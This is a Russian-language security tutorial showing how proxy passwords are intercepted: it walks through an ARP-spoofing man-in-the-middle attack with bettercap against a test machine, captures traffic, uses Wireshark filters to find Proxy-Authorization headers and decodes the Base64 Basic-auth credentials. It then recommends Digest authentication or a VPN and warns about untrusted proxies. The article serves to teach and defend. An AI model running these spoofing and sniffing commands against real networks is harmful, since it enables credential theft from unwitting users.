Прокси достаточно востребованы в сообществе юзеров, в особенности из числа тех, кто именно хочет утаить собственный настоящий IP-местоположения или обойти блокировку владельца ресурса или же блокировку со стороны государства. При этом бездумное использование прокси может привести к неожиданному результату. Ведь есть прокси, которые по определению не анонимны — они отправляют IP-адрес пользователя в заголовках HTTP. Что ж, если пароль можно перехватить и / или расшифровать, то это может привести к тому, что неавторизованный люди будут использовать ваш прокси-сервер. Короче говоря, все проблемы с безопасностью прокси-серверов могут быть связаны с базовой и дайджест-аутентификацией, которая обычно используется на них. В статье мы попытаемся выяснить насколько безопаснее HTTPS-прокси от HTTP.
Проверяем насколько подвержен перехвату пароля прокси-сервер
Задача: Проверить уязвимость прокси-сервера к перехвату паролей и проверить безопасность прокси HTTPS. Проверьте возможность понижения соединения через прокси-сервер с HTTPS на HTTP.
Для этого мы проведем атаку «человек посередине» против тестового компьютера, на котором пользователь использует веб-браузер, подключенный через прокси-сервер. Подобные риски, возникающие при атаке «злоумышленник посередине», могут возникать при использовании общедоступных точек доступа; Точки доступа без паролей; на выходных узлах сети Tor, которые регистрируют трафик; когда трафик проходит через любой сетевой узел в поисках незашифрованных данных, в том числе через узлы интернет-провайдера.
Таким образом, для того чтобы заметить разность, на тестовой машине интернет-браузер настроен на применение только лишь на HTTP-прокси ( HTTPS-прокси проходят напрямую и нам мало интересны).
Для выполнения атаки человек-посередине будем использовать bettercap.
Запускаем bettercap:
|
1
|
sudo bettercap |
Смотрим имеющиеся устройства в локальной сети и запускаем их автоматическое обнаружение:
|
1
2
3
|
net.shownet.probe onnet.show |
Тестовый компьютер имеет IP-адрес 192.168.1.34, мы запускаем против него атаку с подменой ARP, из-за которой компьютер жертвы теперь будет считать, что машина злоумышленника является шлюзом (маршрутизатором), и трафик теперь будет приниматься за трафик жертвы. компьютер через компьютер злоумышленника:
|
1
2
|
set arp.spoof.targets 192.168.1.34arp.spoof on |
Настроем сохранение трафика в файл http-proxy.pcap (для последующего анализа) и запустим снифинг:
|
1
2
|
set net.sniff.output /home/mial/http-proxy.pcapnet.sniff on |
Дождёмся, когда на тестовом компьютере будет открыт любой сайт через прокси сервер.
Откроем файл http-proxy.pcap в Wireshark и воспользуемся следующим фильтром:
|
1
|
http.proxy_authorization |
Можно увидеть строку, переданную как простой текст:
|
1
|
Proxy-Authorization: Basic cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn\r\n |
Веб-сервер использует базовую аутентификацию, из статьи «Атаки на HTTP-базовую и дайджест-аутентификацию» вы можете вспомнить, что переданная строка представляет собой имя пользователя и пароль прокси-сервера, закодированные в Base64.
Для декодирования используем следующую команду:
|
1
|
echo cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn | base64 -d |
Вывод:
|
1
|
proxy_user:LkdfLl5kj7Leg |
В этой строке proxy_user — это имя пользователя, а LkdfLl5kj7Leg — пароль прокси. Это означает, что, несмотря на сложность пароля, его очень легко перехватить и расшифровать.
Теперь на тестовом компьютере в веб-браузере удаляем настройки HTTP-прокси и включаем HTTPS-прокси. Дело в том, что HTTPS подразумевает зашифрованные соединения и пароль не может быть передан в виде обычного текста.
Настраиваем сохранять захваченный трафик в файл https-proxy.pcap, для этого перезапускаем сниффинг:
|
1
2
3
|
net.sniff offset net.sniff.output /home/mial/https-proxy.pcapnet.sniff on |
Откроем файл https-proxy.pcap в Wireshark и вновь воспользуемся фильтром:
|
1
|
http.proxy_authorization |
Как видно по сркиншоту, HTTPS прокси также передаёт пароль в виде простого текста.
Разница между HTTP и HTTPS прокси есть, но только не в процессе аутентификации — в любом случае пароль передаётся в виде простого текста.
Чтобы наглядно увидеть разницу между HTTP и HTTPS прокси, воспользуемся фильтрами bettercap. В Wireshark вы можете увидеть строку:
|
1
|
Transmission Control Protocol, Src Port: 54882, Dst Port: 18008, Seq: 1060, Ack: 13141, Len: 414 |
То есть порт прокси-сервера 18008. На скриншотах выше вы можете увидеть и IP адрес прокси-сервера.
Чтобы фильтровать только запросы через прокси-сервер, установите соответствующий фильтр (чтобы настройка вступила в силу, необходимо перезапустить сниффинг):
|
1
2
3
|
net.sniff offset net.sniff.filter "host 157.245.118.66 and port 18008"net.sniff on |
Это запрос через HTTP прокси-сервер:
То есть атакующему видно всё — какие данные передаются и какие получаются, кукиз, логины и пароли — абсолютно всё.
Это означает, что злоумышленник видит только имя удаленного хоста и User-Agent пользователя из передаваемых данных, остальные данные зашифрованы.
В любом случае на каждый запрос отправляется строка, содержащая логин и пароль от прокси-сервера, которые злоумышленник может перехватить:
|
1
|
Proxy-Authorization: Basic cHJveHlfdXNlcjpMa2RmTGw1a2o3TGVn |
То есть в понижении подключения через прокси-сервер с HTTPS до HTTP для перехвата пароля от прокси нет никакой необходимости.
Для правильной остановки атаки выполните команды:
|
1
2
3
|
net.sniff offarp.spoof off |
Как уберечься от перехвата логина также пароля прокси-сервера
1. Не пользуйтесь Basic аутентификацией
Если вы настраиваете прокси-сервер (см. Статью «Как создать и настроить прокси-сервер Squid»), не используйте базовую аутентификацию HTTP, используйте дайджест-аутентификацию HTTP.
При дайджест-аутентификации пароль никогда не передается в виде обычного текста. Но при этом следует помнить, что хеши и другие данные передаются в Authentication Digest в виде простого текста, перехватив который вы можете запустить пароль методом перебора. Следовательно, пароль должен быть довольно сложным.
2. Лучше используйте VPN
Как вы можете наблюдать в скриншотах выше, участки, путем которых протекает ваш траффик (к примеру, ваш интернет-провайдер), имеют все шансы наблюдать значительную долю отправляемых вами запросов. Эта проблема может быть решена только путем полного шифрования трафика, который может предоставить VPN. При использовании VPN наблюдатель может видеть только зашифрованный и полностью нечитаемый поток данных между вашим компьютером и сервером VPN.
Серверы VPN используют ключи и механизм для предотвращения перехвата учетных данных пользователя для аутентификации.
Для анализа трафика через веб прокси-сервер используют фильтры Wireshark
Поскольку «прокси» — это общее название для многих технологий и программного обеспечения, не все фильтры Wireshark со словом «proxy» в своем имени применимы к веб-прокси.
Например, страница с фильтрами для протокола PROXY https://www.wireshark.org/docs/dfref/p/proxy.html содержит фильтры, ни один из которых не применим к веб-прокси.
Страница https://www.wireshark.org/docs/dfref/s/socks.html содержит фильтры для SOCKS-прокси, также не применимые для веб-прокси.
Эти два фильтра, хотя они должны (как следует из названия) относиться к HTTP-прокси, в моих тестах ничего не нашли:
|
1
2
|
http.proxy_connect_hosthttp.proxy_connect_port |
Рассмотрим фильтры Wireshark для анализа трафика через веб прокси-сервер (HTTP и HTTPS прокси).
Этот фильтр покажет запросы от прокси на HTTP Digest аутентификацию:
|
1
|
http.proxy_authenticate |
Этот фильтр покажет учётные данные, отправляемые клиентом на прокси-сервер для авторизации:
|
1
|
http.proxy_authorization |
Показ запросов, сделанных через прокси-сервер (HTTP метод CONNECT):
|
1
|
http.request.method == "CONNECT" |
Поскольку для аутентификации пользователей веб-прокси используют HTTP Basic и Digest аутентификации, то можно использовать соответствующие фильтры Wireshark. Все сессии аутентификации (BASIC/DIGEST/NTLM):
|
1
|
http.authorization |
Только HTTP Basic аутентификация:
|
1
|
http.authbasic |
Только HTTP Basic аутентификация с определёнными учётными данными:
|
1
|
http.authbasic == "ЛОГИН:ПАРОЛЬ" |
Запрос Digest аутентификации от прокси-сервера:
|
1
|
http.proxy_authenticate contains "Digest" |
Ответ пользователя передаваемый на прокси-сервер с информацией для Digest авторизации:
|
1
|
http.proxy_authorization contains "Digest" |
Брут-форс учётных данных прокси-сервера
Для подбора логина и пароля применимы методы, описанные для Basic и Digest, поэтому подробности смотрите в разделе: Брут-форс HTTP Basic и Digest аутентификаций.
Ломаем хеш пароля прокси-сервера
Методы взлома хешей прокси-сервера применяются такие же, как описаны для Basic и Digest:
Опасны ли чужие прокси в плане использования?
Если вы используете прокси-серверы «хороших людей», чей IP-адрес и номер порта только что были найдены в Интернете, вы должны абсолютно четко осознавать риски этого.
Прежде всего, все данные, передаваемые в виде обычного текста, видны владельцу. Таким простым способом многие базы паролей были собраны из социальных сетей. Если многие сайты уже перешли на HTTPS, злоумышленники будут видеть только по переданным данным: 1) имя хоста, на который направлен запрос; 2) IP-адрес пользователя, сделавшего запрос. Здесь также полностью видны данные, передаваемые в виде обычного текста.
Во-вторых, незашифрованный трафик, передаваемый через чужой прокси, можно изменять любым способом: размещать рекламу, проводить атаки и так далее.
К слову, все высказанное в данном разделе принадлежит к коммерческим прокси-серверам (в случае если вы оплатили кому то за прокси, сие никак не означает, что они никак не могут выбирать пароли с вашего трафика либо попросту проявлять интерес к вашим действиям).
И это также относится к публичным (а также платным) серверам VPN. В комментариях к одной из статей меня пытались убедить, что «VPN-трафик зашифрован». Да, он зашифрован до тех пор, пока не попадет на сервер VPN и не будет расшифрован на сервере VPN. И все, что передается в виде обычного текста, доступно VPN-серверу для анализа и извлечения паролей и других данных.
Заключение
При использовании чужих прокси и VPN вы должны понимать, что их основные «провайдеры» — это хакеры, которые отфильтровывают интересные данные из вашего трафика, и специалисты по информационной безопасности, которые исследуют методы хакерских атак и их цели.
Если вы платите за прокси или VPN, это не значит, что все вышеперечисленное не может с ними случиться, независимо от того, что написано в пользовательском соглашении.
